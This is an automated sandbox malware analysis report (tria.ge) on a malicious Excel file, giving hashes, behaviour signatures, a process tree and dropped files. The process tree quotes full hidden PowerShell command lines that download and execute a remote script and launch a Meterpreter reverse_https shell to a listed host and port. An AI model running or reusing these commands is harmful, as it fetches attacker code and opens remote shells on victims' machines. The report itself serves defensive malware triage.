Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    24s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    08/07/2024, 21:12

General

  • Target

    000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67.xls

  • Size

    35KB

  • MD5

    7f3f985ec7c2739f6670083deda3c625

  • SHA1

    ea48dc066138d62012b862874b50d37f64281d3c

  • SHA256

    000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67

  • SHA512

    ad033808ce820074814ebe8f8ab4b7880fe2f027e7668bebaa4c2729f79a8374653f37db4a8735660eab5238acb1a6595a919e1abcb137add63fbf951452eb7b

  • SSDEEP

    768:ctvo+uzZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJYrm2Ucd93:Myk3hbdlylKsgqopeJBWhZFGkE+cL2N1

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\000e7212034e2cc42b2c59dceccb614b0916dd0e524cc653ac9591228c7a3d67.xls
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\Windows\SysWOW64\wscript.exe
      wscript C:\Users\Public\config.vbs
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2696
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2860

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M3VG4JWIUIKTE56V5376.temp

    Filesize

    7KB

    MD5

    401f4b03a57e5a9fa729461c031e1e64

    SHA1

    f70d893007162bcf2d2ff585e1231c51bc59a585

    SHA256

    dc758d05de123945a2b5b07cde8d3ef86d418720c0326667b86e16f2343f7e20

    SHA512

    a088c6b7d5bf5c7b13edf621c8b3da4e7a63f49d8d5c99768ccdd963bdc23eb57d1098fd7ee1a00cbe4cc469e1801d2090a509763e298ae496a1398aaed351f1

  • C:\Users\Public\config.vbs

    Filesize

    461B

    MD5

    ce52ab154163c511f0efa6a61e22ab64

    SHA1

    9f12cc215e15802eddcb02cb5370ef16b21fa3a6

    SHA256

    df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

    SHA512

    cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

  • memory/2556-38-0x0000000005FA0000-0x00000000060A0000-memory.dmp

    Filesize

    1024KB

  • memory/2556-18-0x0000000005FA0000-0x00000000060A0000-memory.dmp

    Filesize

    1024KB

  • memory/2556-37-0x0000000005FA0000-0x00000000060A0000-memory.dmp

    Filesize

    1024KB

  • memory/2556-39-0x0000000005FA0000-0x00000000060A0000-memory.dmp

    Filesize

    1024KB

  • memory/2556-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2556-17-0x0000000005FA0000-0x00000000060A0000-memory.dmp

    Filesize

    1024KB

  • memory/2556-1-0x00000000725ED000-0x00000000725F8000-memory.dmp

    Filesize

    44KB

  • memory/2556-49-0x00000000725ED000-0x00000000725F8000-memory.dmp

    Filesize

    44KB

  • memory/2556-50-0x0000000005FA0000-0x00000000060A0000-memory.dmp

    Filesize

    1024KB

  • memory/2556-51-0x0000000005FA0000-0x00000000060A0000-memory.dmp

    Filesize

    1024KB

  • memory/2556-52-0x0000000005FA0000-0x00000000060A0000-memory.dmp

    Filesize

    1024KB

  • memory/2860-45-0x000000001B850000-0x000000001BB32000-memory.dmp

    Filesize

    2.9MB

  • memory/2860-46-0x0000000002240000-0x0000000002248000-memory.dmp

    Filesize

    32KB